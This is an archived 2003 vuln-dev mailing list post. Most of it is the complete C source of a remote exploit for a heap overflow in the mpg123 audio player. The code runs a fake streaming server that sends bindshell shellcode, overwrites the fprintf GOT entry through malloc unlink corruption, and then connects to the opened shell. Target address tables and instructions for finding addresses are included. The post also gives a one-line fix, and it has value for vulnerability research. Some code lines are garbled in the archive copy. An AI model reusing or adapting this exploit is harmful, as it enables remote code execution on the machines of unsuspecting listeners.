

SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

# mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/vuln-dev/2003-09/0053.html>

---

**From:** Wade 79 (v9\_at\_fakehalo.deadpig.org)

**Date:** 09/23/03

Date: 23 Sep 2003 03:45:48 -0000

To: vuln-dev@securityfocus.com

('binary' encoding is not supported, stored as-is)

did an audit of mpg123(my mp3 player of choice), found a remotely exploitable bug in audio streaming service(httpget.c); applies to v0.59r and v0.59s(pre, up to current as of writing this). the exploit comments explain how it works and how to find the memory addresses needed(if not already a target value).

original exploit reference(URL):

<http://fakehalo.deadpig.org/xmpg123.c>

----- exploit source: xmpg123.c -----

```
/*[ mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit. ]*
```

```
* *
```

```
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
```

```
* *
```

```
* Url: *
```

```
* http://www.mpg123.de *
```

```
* *
```

```
* Mpg123, versions 0.59r and pre0.59s(current) contain a remotely *
```

```
* exploitable heap based buffer overflow. The overflow occurs when *
```

```
* the function readstring(), defined in httpget.c, does not properly *
```

```
* limit the amount of data written to a buffer. (*request) *
```

```
* *
```

```
* The vulnerable function is used when reading strings from remote *
```

```
* hosts, such as http audio streaming services. The function is only *
```

```
* used in conjunction with writing to the *request buffer, which is *
```

```
* malloc'd into 1024 bytes. *
```

```
* *
```

```
* This function will continue reading into the *request buffer, byte *
```

```
* by byte, until a '\n' is read. The function has a "maximum value to *
```

```
* write" argument passed to it, ie. readstring(char *string, int *
```

```
* maxlen, FILE *f), but does not use it at all. (except for the old, *
```

```
* commented out, unused code) *
```

mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

## SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
* *
* This exploit takes advantage of the vulnerability by using the *
* unlink() malloc chunk manipulation method. This will require exact *
* addresses for use with the exploit. You can find out how to get the *
* addresses needed in the define comments or by viewing the help *
* screen(this will still not get you the exact offset, test to find *
* it; use the "-+" argument). *
* *
* Usage: *
* # cc xmpg123.c -o xmpg123 *
* # ./xmpg123 [-sgr+tl] -p port *
* *
* Exploit workings: *
* client connects: *
* /usr/bin/mpg123 http://www.host-running-xmpg123.com:port *
* www.host-running-xmpg123.com sends: *
* <64 byte filler><shellcode>...<* filler>|<16 byte malloc chunk> *
* Where '|' is the 1024 byte boundary, followed by the 4*4=16 *
* byte fake malloc chunk. *
* *
* The bug itself(mpg123/httpget.c): *
* void readstring (char *string, int maxlen, FILE *f) *
* { *
* #if 0 *
* char *result; *
* #endif *
* int pos = 0; *
* *
* while(1) { *
* if( read(fileno(f),string+pos,1) == 1) { *
* pos++; *
* if(string[pos-1] == '\n') { *
* string[pos] = 0; *
* break; *
* } *
* } *
* else if(errno != EINTR) { *
* fprintf (stderr, "Error reading from socke$ *
* exit(1); *
* } *
* } *
* #if 0 *
* do { *
* result = fgets(string, maxlen, f); *
* } while (!result && errno == EINTR); *
* if (!result) { *
* fprintf (stderr, "Error reading from socket or une$ *
* } *
* #endif *
* *
* } *
```

SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
* *
* Source quick fix: *
* -while(1) { *
* +while(maxlen>pos) { *
* *
* Example(test on localhost): *
* (exploit daemon) *
* # ./xmpg123 -t 2 -p 80 *
* [*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption exp$ *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* *
* [*] platform value base : redhat 7.1, factory binary. *
* [*] fprintf GOT address : 0x08067170. *
* [*] *request address location : 0x0807ddb0. *
* [*] *request offset(+?*4) : 16(=64), ret=0x0807ddf0. *
* *
* [*] awaiting connection from: *:80. *
* [*] audio server connection established. (127.0.0.1) *
* [*] waiting for request information, to verify the client. *
* [*] client is running an exploitable version, continuing. *
* [*] sending the string to exploit the overflow condition. *
* [*] closed audio server connection. *
* [*] checking to see if the exploit was successful. *
* [*] attempting to connect: 127.0.0.1:7979. *
* [*] successfully connected: 127.0.0.1:7979. *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
* uid=500(v9) gid=500(v9) groups=500(v9) *
* *
* (mpg123 client) *
* # mpg123 http://localhost *
* High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and$ *
* Version 0.59r (1999/Jun/15). Written and copyrights by Michael *
* Uses code from various people. See 'README' for more! *
* THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN $ *
* (hangs until the bindshell is closed, if successful) *
* *
* Note: *
* I provided several example target values, however if you are not *
* one of those targets, guessing will not work; you will need the *
* exact values for the fprintf GOT address, *request address, and the *
* exact offset to the shellcode. (0x663c0beb = start of code; what *
* you want to look for in gdb for an offset from *request) *
* *
* (still squished, un-spaced, and un-tabbed; as it should be) *
*****/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
```

SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* (generic value used in the definition, use to the -g argument) */
/* this value is going to be the fprintf GOT(global offset table) */
/* address, to find this value run: */
/* # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v "vf" */
/* 08012345 R_386_JUMP_SLOT fprintf */
#define GOT_ADDR 0x08012345

/* (generic value used in the definition, use to the -r argument) */
/* this value is going to be the pointer of the *request buffer. */
/* this value can be found by running: */
/* # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1 */
/* malloc(1024) = 0x08054321 */
/* the location of the shellcode will be 64(16) or more bytes off */
/* depending on the situation. the exact address of the shellcode */
/* you'll have to find it on your own(use gdb), if you don't know */
/* how a good guess is 16(64). the offset formula is: */
/* (REQUEST_ADDR+(offset*4)) */
#define REQUEST_ADDR 0x08054321

/* generic port for the bindshell to listen on. */
#define DFL_SPORT 7979

/* generic timeout for connections, before giving up. */
#define TIMEOUT 10

/* normally this would jmp 10(0x0a). but, that is the CR/enter */
/* value; so it is going to jmp 11(0x0b) instead, simply to avoid */
/* using that character. the bindshell portion of the shellcode */
/* was written by netric(group). also added exit() to look less */
/* obvious. (to avoid segmentation faults/illegal instructions) */
static char x86_exec[]=
"\xeb\x0b\x3c\x66\x61\x6b\x65\x68\x61\x6c\x6f\x3f\x3e\x31\xc0\x50"
"\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66"
"\x68\x00\x00\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66"
"\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c"
"\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80"
"\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

/* platform dealios. (stored and tested values) */
struct platform {
/* name of the platform. */
```

mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
char *p_name;
/* fprintf GOT(global offset table) address. */
unsigned int p_gotaddr;
/* *request address location. */
unsigned int p_requestaddr;
/* offset*4 from(+) *request, where the shellcode is. */
unsigned int p_retoffset;
};
struct platform target[]={
  {"mandrake 9.1, factory binary",0x0806fac8,0x08086678,26},
  {"mandrake 9.0, factory binary",0x0806d5a8,0x08084130,26},
  {"redhat 7.1, factory binary",0x08067170,0x0807ddb0,16},
  {"redhat 7.1, src(pre0.59s) install",0x0806ef78,0x08086b10,18},
  {"gentoo 1.4, src pkg install",0x08072714,0x08092bf8,16},
  {"debian ?? (unstable), pkg install",0x0806eed8,0x08085a90,16},
  {"crash test, (if crashes it's exploitable)",0xdeadbeef,0xdeadbeef,0},
  {NULL,0,0,0}
};

/* function definitions. */
char *getbuf(void);
char *audioserver_bind(void);
void getshell(char *);
void printe(char *,short);
void platform_list(void);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* global values used throughout. */
unsigned short port=0;
unsigned short sport=DFL_SPORT;
unsigned int gotaddr=GOT_ADDR;
unsigned int requestaddr=REQUEST_ADDR;
unsigned int retoffset=0;

/* start of operations. */
int main(int argc,char **argv){
  unsigned int i=0;
  int chr=0;
  char *hostptr, *nameptr="none";
  printf("[*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption"
  " exploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realh"
  "alo)\n\n");
  while((chr=getopt(argc,argv,"p:s:g:r+::t:l"))!=EOF){
    switch(chr){
      case 'p':
        port=atoi(optarg);
        break;
      case 's':
        sport=atoi(optarg);
        break;
```

SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
case 'g':
    sscanf(optarg, "%x",&gotaddr);
    break;
case 'r':
    sscanf(optarg, "%x",&requestaddr);
    break;
case '+':
    retoffset=(atoi(optarg)*4);
    break;
case 't':
    i=0;
    while(target[i].p_name)i++;
    if(atoi(optarg)>=i)
        printf("[!] %u is not a valid target, ignored.\n",atoi(optarg));
    else{
        nameptr=target[atoi(optarg)].p_name;
        gotaddr=target[atoi(optarg)].p_gotaddr;
        requestaddr=target[atoi(optarg)].p_requestaddr;
        retoffset=(target[atoi(optarg)].p_retoffset*4);
    }
    break;
case 'l':
    platform_list();
    break;
default:
    usage(argv[0]);
    break;
}
}
if(!port)usage(argv[0]);
/* verbose display. */
printf("[*] platform value base\t\t: %s.\n",nameptr);
printf("[*] fprintf GOT address\t\t: 0x%.8x.\n",gotaddr);
printf("[*] *request address location\t: 0x%.8x.\n",requestaddr);
printf("[*] *request offset(+?*4)\t: %u(=%u), ret=0x%.8x.\n\n",
        (retoffset/4),retoffset,(requestaddr+retoffset));
/* set the bindshell port in the shellcode(byte 33/34). */
x86_exec[33]=(sport&0xff00)>>8;
x86_exec[34]=(sport&0x00ff);
/* audioserver_bind() returns the host that connected to it. */
hostptr=audioserver_bind();
/* check the host for success, see if the bindshell is listening. */
getshell(hostptr);
printf("[!] exploit failed.\n");
exit(0);
}
/* makes the exploit buffer, an all-in-one function. */
char *getbuf(void){
    char *buf;
    /* buf=1024 + chunk structure=16 + "\n\n"=2. */
    if(!(buf=(char *)malloc(1024+16+2+1)))
```

## SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
printe("getbuf(): allocating memory failed.",1);
memset(buf,0x78,1024);
/* data in the beginning of the buffer gets truncated by the */
/* second \n, adding a static filler value before the shellcode. */
memcpy(buf+64,x86_exec,strlen(x86_exec));
/* ---now exceeding buffer limits, overwriting internal values--- */
*(long *)&buf[1024]=0xffffffffc;
*(long *)&buf[1028]=0xfffffffff;
*(long *)&buf[1032]=(gotaddr-12);
*(long *)&buf[1036]=(requestaddr+retoffset);
buf[1040]=0x0a;
/* the second \n' triggers it, also causes *request truncation. */
buf[1041]=0x0a;
return(buf);
}
/* the "audio server" fake daemon, what mpg123 connects to. */
char *audioserver_bind(void){
unsigned int salen=0;
int ssock=0,sock=0,so=1;
char *buf;
struct sockaddr_in ssa,sa;
if(!(buf=(char *)malloc(1024+1)))
printe("audioserver_bind(): allocating memory failed.",1);
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
/* not everywhere, maybe pretty close by now though. */
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))===-1)
printe("could not bind socket.",1);
while(ssock){
printf("[*] awaiting connection from: *:%d.\n",port);
listen(ssock,1);
bzero((char *)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
printf("[*] audio server connection established. (%s)\n",
inet_ntoa(sa.sin_addr));
/* to verify the agent, ie. "User-Agent: mpg123/0.59r\n". */
printf("[*] waiting for request information, to verify the client.\n");
read(sock,buf,1024);
if(strstr(buf,"mpg123/0.59r")||strstr(buf,"mpg123/0.59s")){
printf("[*] client is running an exploitable version, continuing.\n");
/* got the client we want, close the server socket. */
close(ssock);
ssock=0;
}
}
```

SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
else{
    printf("[!] client is not running an exploitable version, skipped.\n");
    close(sock);
}
}
/* send the pre-packaged all-in-one exploit string. */
printf("[*] sending the string to exploit the overflow condition.\n");
write(sock,getbuf(),strlen(getbuf()));
/* sleeps always make me feel safer for some reason. */
sleep(1);
close(sock);
printf("[*] closed audio server connection.\n");
free(buf);
/* return the host that connected to us. */
return(inet_ntoa(sa.sin_addr));
}
/* client to connect to the bindshell, and allow interactive cmds. */
void getshell(char *hostname){
    int sock,r;
    char *buf;
    fd_set fds;
    struct hostent *he;
    struct sockaddr_in sa;
    if(!(buf=(char *)malloc(4096+1)))
        prnte("getshell(): allocating memory failed.",1);
    printf("[*] checking to see if the exploit was successful.\n");
    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))===-1)
        prnte("getshell(): socket() failed.",1);
    sa.sin_family=AF_INET;
    if((sa.sin_addr.s_addr=inet_addr(hostname))){
        if(!(he=gethostbyname(hostname)))
            prnte("getshell(): couldn't resolve.",1);
        memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
            sizeof(sa.sin_addr));
    }
    sa.sin_port=htons(sport);
    signal(SIGALRM,sig_alarm);
    alarm(TIMEOUT);
    printf("[*] attempting to connect: %s:%d.\n",hostname,sport);
    if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)){
        printf("[!] connection failed: %s:%d.\n",hostname,sport);
        return;
    }
    alarm(0);
    printf("[*] successfully connected: %s:%d.\n\n",hostname,sport);
    signal(SIGINT,SIG_IGN);
    write(sock,"uname -a;id\n",13);
    while(1){
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sock,&fds);
```

## SecurityFocus Vuln-Dev: mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.

```
if(select(sock+1,&fds,0,0,0)<1)
  printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
  if((r=read(0,buf,4096))<1)
    printe("getshell(): read() failed.",1);
  if(write(sock,buf,r)!=r)
    printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
  if((r=read(sock,buf,4096))<1)
    exit(0);
  write(1,buf,r);
}
}
close(sock);
return;
}
/* prints error messages and/or exits afterwards. */
void printe(char *err,short e){
  printf("[!] error: %s\n",err);
  if(e)exit(1);
  return;
}
/* like it looks; lists the platforms in a loop. */
void platform_list(void){
  unsigned int i=0;
  for(i=0;target[i].p_name;i++)
    printf("[*] %u\t: %s.\n",i,target[i].p_name);
  printf("\n");
  exit(0);
}
/* verbose program syntax. */
void usage(char *name){
  printf(" usage: %s [options] -p port\n\n options:\n"
" -p <number>\tdefines the server port.\t\t(REQUIRED, usually 80)\n"
" -s <number>\tdefines the bindshell port.\t\t(%u)\n"
" -g <string>\tdefines GOT address.\t\t(0x%.8x)\n"
" -r <string>\tdefines *request address.\t\t(0x%.8x)\n"
" +- <number>\tadds number*4 to the return address.\t(0x%.8x+(?*4))\n"
" -t <number>\timports a target table to use as values.\n"
" -l\t\twill list the target values available.\n\n"
" to find the -g argument type:\n"
" # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v \"vf\"\n"
" 08012345 R_386_JUMP_SLOT fprintf\n\n"
" to find the -r argument type:\n"
" # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1\n"
" malloc(1024) = 0x08054321\n"
" (offset to shellcode from *request(-r) must be found manually)\n\n",
  name,sport,gotaddr,requestaddr,requestaddr);
  exit(0);
}
```